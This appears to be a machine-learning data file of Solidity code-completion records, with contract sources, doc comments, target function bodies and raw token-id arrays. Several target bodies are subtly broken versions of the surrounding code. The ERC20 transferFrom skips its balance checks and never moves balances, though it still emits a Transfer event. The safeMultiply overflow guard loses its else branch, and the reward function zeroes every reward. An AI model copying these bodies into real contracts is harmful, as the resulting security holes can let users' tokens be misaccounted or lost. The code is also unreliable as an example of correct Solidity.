emit FreeServiceProviderRefunded(epoch, msg.sender, validator, amount);
}
//Below mappings are used for disputes when a service provider hasn't provided the free content promised to Witnesses
//Claimed amount for a Peer per Epoch, Validator and Serive provider
mapping(uint256 => mapping(address => mapping(address => mapping(address => uint256))))
public freeMbClaimedPerValidatorFreeserviceProviderWitness;
//Free Mb Disputed by Witness per per Epoch, Validator and Serive provider
mapping(uint256 => mapping(address => mapping(address => mapping(address => bool))))
public freeMbDisputedPerValidatorFreeserviceProviderWitness;
//The dispute end period in Block number
mapping(uint256 => mapping(address => mapping(address => mapping(address => uint256))))
public freeMbDisputedEndsPerValidatorFreeserviceProviderWitness;
//Dispute canceled due to proof of free service provided by Service provider
mapping(uint256 => mapping(address => mapping(address => mapping(address => bool))))
public freeMbDisputedCanceledDueProofGivenPerValidatorFreeserviceProviderWitness;
//Notify for Dispute
event FreeServiceProviderFreeMbDisputed(
uint256 indexed epoch,
address indexed witness,
address indexed validator,
address freeServiceProvider,
uint256 freeMb
);
//Initiate a dispute request from a Witness against a Service provider for a Validator and Epoch
//freeMb is the free Mbs disputed by Witness
function startDispute(
uint256 epoch,
address validator,
address freeServiceProvider,
uint256 freeMb
) public {
uint256 currentEpoch = getCurrentEpoch();
//Traget epoch should be the current or in the past
require(
currentEpoch >= epoch,
"Current epoch should be greater or equal than requested"
);
//Check that isn't claimed in the past
require(
freeMbClaimedPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][msg
.sender] == 0,
"Already claimed"
);
//Check that there isn't any active Dispute
require(
!freeMbDisputedPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][msg
.sender],
"Already disputed"
);
//Check that Validator was in list of Validators
require(status[epoch][validator].isIn, "Not a validator");
//Check that requestor was a Witness
require(
witnessStakingFundsForValidator[epoch][msg.sender][validator] > 0,
"Not a witness for validator"
);
//Check that Service provider exists in list of Validator service providers
require(
freeServiceProvidersFundsForValidator[epoch][freeServiceProvider][validator] >
0,
"Not a free service provider for validator"
);
//Calculate the freeMb to be disputed based on total available free service in Mbs / number of Validator Witnesses
uint256 freeMbAvailablePerWitness
= freeServiceProvidersFreeMbs[epoch][freeServiceProvider][validator]
.div(validatorWitnesses[epoch][validator].length);
//Check freeMb to be disputed should be equal with the requested
require(freeMbAvailablePerWitness == freeMb, "Invalid freeMb");
//Setup dispute
freeMbDisputedPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][msg
.sender] = true;
//Setup end of dispute in Blocks
freeMbDisputedEndsPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][msg
.sender] = block.number + freeServiceDisputeThreshold;
//Notify for Dispute
emit FreeServiceProviderFreeMbDisputed(
epoch,
msg.sender,
validator,
freeServiceProvider,
freeMb
);
}
//Notify for Dispute settlement
event FreeServiceProviderFreeMbDisputeFinished(
uint256 indexed epoch,
address indexed witness,
address indexed validator,
address freeServiceProvider,
uint256 amount
);
//Request for Dispute amount settlment
function requestDisputedFunds(
uint256 epoch,
address validator,
address freeServiceProvider
) public {
//Check that isn't claimed in the past
require(
freeMbClaimedPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][msg
.sender] == 0,
"Already claimed"
);
//Check that there is an open Dispute
require(
freeMbDisputedPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][msg
.sender],
"Not disputed"
);
//Unable to settle as Service provider canceled the Dispute providing a proof for free service
require(
!freeMbDisputedCanceledDueProofGivenPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][msg
.sender],
"Unable to refund, proof provided"
);
//Dispute is still open waing for Service provider proof
require(
freeMbDisputedEndsPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][msg
.sender] < block.number,
"Request disputed funds not currently available"
);
//Calculate the freeMb to be disputed based on total available free service in Mbs / number of Validator Witnesses
uint256 freeMbAvailablePerWitness
= freeServiceProvidersFreeMbs[epoch][freeServiceProvider][validator]
.div(validatorWitnesses[epoch][validator].length);
//Calculate the amount to be Paid to Witness
uint256 amount = freeMbAvailablePerWitness.mul(pricePerMb);
//Should not happen. Insufficient remaining funds
require(
freeServiceProvidersFundsForValidator[epoch][msg
.sender][validator] >= amount,
"No remaining funds"
);
//Setup and transfer the amount
freeMbClaimedPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][msg
.sender] = amount;
msg.sender.transfer(amount);
//Notity that Witness won the Dispute and paid
emit FreeServiceProviderFreeMbDisputeFinished(
epoch,
msg.sender,
validator,
freeServiceProvider,
amount
);
}
//Check and return the Signer(Witness) of a free service proof
// h is the hash of P2P signature
// r and s are outputs of the ECDSA P2P signature
// v is the recovery id of P2P signature
// epoch is Offchain transaction Epoch
// freeServiceProvider is the Service provider
// validator is the Witness Validator
// freeMb the the Mb provided for free
function checkFreeServiceProof(
bytes32 h,
uint8 v,
bytes32 r,
bytes32 s,
uint256 epoch,
address freeServiceProvider,
address validator,
uint256 freeMb
) public pure returns (address signer) {
//Calculate hash of input arguments freeServiceProvider,validator,epoch and freeMb
bytes32 proof = keccak256(
abi.encodePacked(freeServiceProvider, validator, epoch, freeMb)
);
//Check that proof equals requested hash
require(
proof == h,
"Off-chain transaction hash does't match with payload"
);
//Recover the Offcain transaction Signer using ECDA public key Recovery(Service provider that signed the Tx)
signer = ecrecover(h, v, r, s);
return signer;
}
//Notify that a Service provider cancleled a Dispute by providing a proof of free content
event FreeServiceProviderFreeMbDisputeCanceled(
uint256 indexed epoch,
address indexed witness,
address indexed validator,
address freeServiceProvider,
uint256 freeMb
);
//Cancel a Dispute request by providing proof of free content
function cancelDisputeByProvideProof(
bytes32 h,
uint8 v,
bytes32 r,
bytes32 s,
uint epoch,
address freeServiceProvider,
address validator,
uint256 freeMb
) public {
//Get the signer(Witness) by checking the proof validity
address witness = checkFreeServiceProof(
h,
v,
r,
s,
epoch,
freeServiceProvider,
validator,
freeMb
);
//Dispute period has passed
require(
freeMbDisputedEndsPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][witness] >=
block.number,
"Cancelation not allowed"
);
//There is no active dispute
require(
freeMbDisputedPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][witness],
"Not disputed"
);
//Already canceled by previous proof
require(
!freeMbDisputedCanceledDueProofGivenPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][witness],
"Proof already provided"
);
//Calculate the freeMb to be disputed based on total available free service in Mbs / number of Validator Witnesses
uint256 freeMbAvailablePerWitness
= freeServiceProvidersFreeMbs[epoch][freeServiceProvider][validator]
.div(validatorWitnesses[epoch][validator].length);
//Check freeMb in Dispute disputed should be equal with the requested(via proof)
require(freeMbAvailablePerWitness == freeMb, "Invalid freeMb");
//Setup cancelation
freeMbDisputedCanceledDueProofGivenPerValidatorFreeserviceProviderWitness[epoch][validator][freeServiceProvider][witness] = true;
//Notify for cancelation
emit FreeServiceProviderFreeMbDisputeCanceled(
epoch,
msg.sender,
validator,
freeServiceProvider,
freeMb
);
}
// OWNER FUNCTIONS
// // Add a validator.
// function addValidator(address _validator)
// external
// onlyOwner
// isNotValidator(_validator)
// {
// status[_validator].isIn = true;
// status[_validator].index = pending.length;
// pending.push(_validator);
// triggerChange();
// }
// // Remove a validator.
// function removeValidator(address _validator)
// external
// onlyOwner
// isValidator(_validator)
// {
// // Remove validator from pending by moving the
// // last element to its slot
// uint index = status[_validator].index;
// pending[index] = pending[pending.length - 1];
// status[pending[index]].index = index;
// delete pending[pending.length - 1];
// pending.length--;
// // Reset address status
// delete status[_validator];
// triggerChange();
// }
// Called to determine the current set of validators.
function getValidatorsByEpoch(uint256 epoch)
public
view
returns (address[] memory)
{
if (validators[epoch].length == 0) {
return validators[1];
} else {
return validators[epoch];
}
}
//Get the current Epoch set of Validators
function getValidators() public view returns (address[] memory) {
return getValidatorsByEpoch(getCurrentEpoch());
}
//Total number of Validators for Epoch
function getValidatorsNumber(uint256 epoch)
public
view
returns (uint256 validatorsNumber)
{
return getValidatorsByEpoch(epoch).length;
}
// // Called to determine the pending set of validators.
// function getPending()
// external
// view
// returns (address[] memory)
// {
// return pending;
// }
// INTERNAL
//Setbits of benign behaviour per Validator and Epoch
mapping(uint256 => mapping(address => uint256)) benignReportedByblockNumber;
//Setbits of malicious behaviour per Validator and Epoch
mapping(uint256 => mapping(address => uint256)) maliciousReportedByblockNumber;
//Get the number of Setbits that has value of true
function getNumberOfSetBits(uint256 n)
public
pure
returns (uint256 result)
{
uint256 count = 0;
while (n > 0) {
count += n & 1;
n >>= 1;
}
return count;
}
//The penalty percent for benign behaviour
mapping(uint256 => mapping(address => uint256)) penaltyPercent;
//Notify that a Validator is replaced
event ValidatorReplaced(
uint256 indexed epoch,
address indexed oldValidator,
address indexed newValidator
);
//Replace Validator request by a Candiate that has more staking funds
function replaceValidator(address validator) public isValidator(validator) {
uint256 epoch = getCurrentEpoch();
//Check that requestor Candidate has more available funds than the requested
require(
validatorStakingFunds[epoch][msg.sender] >
validatorStakingFunds[epoch][validator],
"Cannot be replaced"
);
//Requestor is already in Vaidators list
require(!status[epoch][msg.sender].isIn, "Already a validator");
//Replace
validators[epoch][status[epoch][validator].index] = msg.sender;
status[epoch][validator].isIn = false;
status[epoch][msg.sender].isIn = true;
status[epoch][msg.sender].index = status[epoch][validator].index;
//Notify
emit ValidatorReplaced(epoch, validator, msg.sender);
}
// Report that a validator has misbehaved in a benign way.
function reportBenign(address validator, uint256 blockNumber)
public
isValidator(msg.sender)
isValidator(validator)
isRecent(blockNumber)
{
uint256 epoch = getCurrentEpoch();
//Remaining funds is zero, cannot add penalty
if (validatorStakingFunds[epoch][validator] == 0) {
return;
}
uint256 totalValidatorsNumber = validators[epoch].length;
//Setup Setbits
benignReportedByblockNumber[blockNumber][validator] =
benignReportedByblockNumber[blockNumber][validator] |
(2**status[epoch][msg.sender].index);
//Get the total number of benign reports for Block and Validator
uint256 setBits = getNumberOfSetBits(
benignReportedByblockNumber[blockNumber][validator]
);
//If the number of unique reporters is over 50% of total validators
if (setBits >= totalValidatorsNumber.mulByFraction(50, 100)) {
//Reset Setbits
benignReportedByblockNumber[blockNumber][validator] = 0;
// Epoch block reward
uint256 penalty = epochReward[epoch];
//Add benign percent to the total penalties applied to Validator
penaltyPercent[epoch][validator] += benignPercent[epoch];
//If penalty is greater than remaining funds get the remaining
if (validatorStakingFunds[epoch][validator] < penalty) {
penalty = validatorStakingFunds[epoch][validator];
}
//Reduce the remaining funds by penalty
validatorStakingFunds[epoch][validator] -= penalty;
//Reduce total staking funds by penalty
validatorTotalStakingFunds[epoch][validator] -= penalty;
//Find and reduce the Witnesses panalty
uint256 penaltyFromWitnesses
= benignPercentPenaltyForWitnesses[epoch][validator];
validatorTotalStakingFunds[epoch][validator] -= penaltyFromWitnesses;
validatorTotalWitnessesFunds[epoch][validator] -= penaltyFromWitnesses;
//Share per Validator
uint256 penaltyShare = (penalty + penaltyFromWitnesses)
.mulByFraction(1, totalValidatorsNumber - 1);
if (penaltyShare > 0) {
for (uint256 i = 0; i < validators[epoch].length; i++) {
if (validators[epoch][i] != validator) {
address(uint160(validators[epoch][i])).transfer(
penaltyShare
);
}
}
}
}
emit Report(msg.sender, validator, false);
}
//Proofs per Validator, Reporter and Block
mapping(address => mapping(address => mapping(uint256 => bytes))) proofs;
// Report that a validator has misbehaved maliciously.
function reportMalicious(
address validator,
uint256 blockNumber,
bytes memory proof
)
public
isValidator(msg.sender)
isValidator(validator)
isRecent(blockNumber)
{
uint256 epoch = getCurrentEpoch();
//Not enough staking funds, return
if (validatorStakingFunds[epoch][validator] == 0) {
return;
}
uint256 totalValidatorsNumber = validators[epoch].length;
//Setup Setbits
maliciousReportedByblockNumber[blockNumber][validator] =
maliciousReportedByblockNumber[blockNumber][validator] |
(2**status[epoch][msg.sender].index);
//Get the total number of malicious behaviour reports for Block and Validator
uint256 setBits = getNumberOfSetBits(
maliciousReportedByblockNumber[blockNumber][validator]
);
//If the number of unique reporters is over 50% of total validators
if (setBits >= totalValidatorsNumber.mulByFraction(50, 100)) {
//Reset Setbits
maliciousReportedByblockNumber[blockNumber][validator] = 0;
//Penalty is the whole remaining amount
uint256 penalty = validatorStakingFunds[epoch][validator];
penaltyPercent[epoch][validator] = 100;
//There aren't any remaining funds
validatorStakingFunds[epoch][validator] = 0;
validatorTotalStakingFunds[epoch][validator] -= penalty;
//All the remaing Witnesses funds are reset to zero
uint256 penaltyFromWitnesses
= validatorTotalWitnessesFunds[epoch][validator];
validatorTotalStakingFunds[epoch][validator] -= penaltyFromWitnesses;
validatorTotalWitnessesFunds[epoch][validator] = 0;
//Share the penalties to Validators
uint256 penaltyShare = (penalty + penaltyFromWitnesses)
.mulByFraction(1, totalValidatorsNumber - 1);
if (penaltyShare > 0) {
for (uint256 i = 0; i < validators[epoch].length; i++) {
if (validators[epoch][i] != validator) {
address(uint160(validators[epoch][i])).transfer(
penaltyShare
);
}
}
}
}
//Setup proof
proofs[msg.sender][validator][blockNumber] = proof;
//Notify
emit Report(msg.sender, validator, true);
}
// Called when an initiated change reaches finality and is activated.
function finalizeChange() public onlySystem whenNotFinalized {
finalized = true;
uint256 epoch = getCurrentEpoch();
emit ChangeFinalized(validators[epoch]);
}
// PRIVATE
// function triggerChange()
// private
// whenFinalized
// {
// finalized = false;
// }
//Notify for init Validator set
event InitiateChange(bytes32 indexed _parentHash, address[] _newSet);
function initiateChange(bytes32 parentHash, address[] memory newSet)
public
{
emit InitiateChange(parentHash, newSet);
}
//Last block that contained rewards for miners
uint256 lastClaimedIssuanceBlock;
// produce rewards for the given benefactors, with corresponding reward codes.
// only callable by `SYSTEM_ADDRESS`
function reward(address[] calldata benefactors, uint16[] calldata kind)
external
view
onlySystem
returns (address[] memory, uint256[] memory)
{
require(benefactors.length == kind.length);
//Calculate the reward
uint256 calculateRewardValue = calculateReward(
block.number,
lastClaimedIssuanceBlock
);
uint256[] memory rewards = new uint256[](benefactors.length);
//Iterate and produce Reward only for Miners
for (uint256 i = 0; i < benefactors.length; i++) {
if (kind[i] == 0) {
rewards[i] = calculateRewardValue;
} else {
rewards[i] = 0;
}
}
return (benefactors, rewards);
}
}
| produce rewards for the given benefactors, with corresponding reward codes. only callable by `SYSTEM_ADDRESS`Calculate the rewardIterate and produce Reward only for Miners | function reward(address[] calldata benefactors, uint16[] calldata kind)
external
view
onlySystem
returns (address[] memory, uint256[] memory)
{
require(benefactors.length == kind.length);
uint256 calculateRewardValue = calculateReward(
block.number,
lastClaimedIssuanceBlock
);
uint256[] memory rewards = new uint256[](benefactors.length);
for (uint256 i = 0; i < benefactors.length; i++) {
if (kind[i] == 0) {
rewards[i] = calculateRewardValue;
rewards[i] = 0;
}
}
return (benefactors, rewards);
}
| 1,794,157 | [
1,
11776,
311,
283,
6397,
364,
326,
864,
27641,
22108,
16,
598,
4656,
19890,
6198,
18,
1338,
4140,
635,
1375,
14318,
67,
15140,
68,
8695,
326,
19890,
14916,
471,
11402,
534,
359,
1060,
1338,
364,
5444,
414,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
19890,
12,
2867,
8526,
745,
892,
27641,
22108,
16,
2254,
2313,
8526,
745,
892,
3846,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1338,
3163,
203,
3639,
1135,
261,
2867,
8526,
3778,
16,
2254,
5034,
8526,
3778,
13,
203,
565,
288,
203,
3639,
2583,
12,
70,
4009,
22108,
18,
2469,
422,
3846,
18,
2469,
1769,
203,
3639,
2254,
5034,
4604,
17631,
1060,
620,
273,
4604,
17631,
1060,
12,
203,
5411,
1203,
18,
2696,
16,
203,
5411,
1142,
9762,
329,
7568,
89,
1359,
1768,
203,
3639,
11272,
203,
3639,
2254,
5034,
8526,
3778,
283,
6397,
273,
394,
2254,
5034,
8526,
12,
70,
4009,
22108,
18,
2469,
1769,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
27641,
22108,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
261,
9224,
63,
77,
65,
422,
374,
13,
288,
203,
7734,
283,
6397,
63,
77,
65,
273,
4604,
17631,
1060,
620,
31,
203,
7734,
283,
6397,
63,
77,
65,
273,
374,
31,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
261,
70,
4009,
22108,
16,
283,
6397,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* Math operations with safety checks
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract RHToken is Ownable {
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint256 size) {
require(size > 0);
require(msg.data.length >= size + 4) ;
_;
}
using SafeMath for uint256;
string public constant name = "RHToken";
string public constant symbol = "RHT";
uint256 public constant decimals = 18;
string public version = "1.0";
uint256 public totalSupply = 100 * (10**8) * 10**decimals; // 100*10^8 BG total
//address public owner;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract constructor() public */
function RHToken() public {
balanceOf[msg.sender] = totalSupply;
owner = msg.sender;
emit Transfer(0x0, msg.sender, totalSupply);
}
/* Send coins */
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool){
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(this)); //Prevent to contract address
require(0 <= _value);
require(_value <= balanceOf[msg.sender]); // Check if the sender has enough
require(balanceOf[_to] <= balanceOf[_to] + _value); // Check for overflows
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns (bool success) {
require (0 <= _value ) ;
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool success) {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(this)); //Prevent to contract address
require( 0 <= _value);
require(_value <= balanceOf[_from]); // Check if the sender has enough
require( balanceOf[_to] <= balanceOf[_to] + _value) ; // Check for overflows
require(_value <= allowance[_from][msg.sender]) ; // Check allowance
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(_value <= balanceOf[msg.sender]); // Check if the sender has enough
require(0 <= _value);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) onlyOwner public returns (bool success) {
require(_value <= balanceOf[msg.sender]); // Check if the sender has enough
require(0 <= _value);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) onlyOwner public returns (bool success) {
require( _value <= freezeOf[msg.sender]); // Check if the sender has enough
require(0 <= _value) ;
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
emit Unfreeze(msg.sender, _value);
return true;
}
// can not accept ether
function() payable public {
revert();
}
} | A contract attempts to get the coins */ | function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool success) {
require( 0 <= _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
| 6,992,345 | [
1,
37,
6835,
7531,
358,
336,
326,
276,
9896,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1338,
6110,
1225,
12,
23,
380,
3847,
13,
1071,
1135,
261,
6430,
2216,
13,
288,
203,
202,
202,
6528,
12,
374,
1648,
389,
1132,
1769,
7010,
3639,
1699,
1359,
63,
67,
2080,
6362,
3576,
18,
15330,
65,
273,
14060,
10477,
18,
4626,
1676,
12,
5965,
1359,
63,
67,
2080,
6362,
3576,
18,
15330,
6487,
389,
1132,
1769,
203,
3639,
3626,
12279,
24899,
2080,
16,
389,
869,
16,
389,
1132,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.0;
library SafeMathLib {
/*
* Subtracts b from a. Throws and exception when underflow contitions are
* met.
*/
function safeSubtract(uint a, uint b) returns (uint) {
if (b > a) {
throw;
} else {
return a - b;
}
}
/*
* Adds b to a. Throws an exception when overflow conditions are met.
*/
function safeAdd(uint a, uint b) returns (uint) {
if (a + b >= a) {
return a + b;
} else {
throw;
}
}
/*
* Multiplies a by b. Throws an exception when overflow conditions are met.
*/
function safeMultiply(uint a, uint b) returns (uint) {
var result = a * b;
if (b == 0 || result / b == a) {
return a * b;
} else {
throw;
}
}
}
| Multiplies a by b. Throws an exception when overflow conditions are met./ | function safeMultiply(uint a, uint b) returns (uint) {
var result = a * b;
if (b == 0 || result / b == a) {
return a * b;
throw;
}
}
| 1,761,325 | [
1,
5002,
5259,
279,
635,
324,
18,
22435,
392,
1520,
1347,
9391,
4636,
854,
5100,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
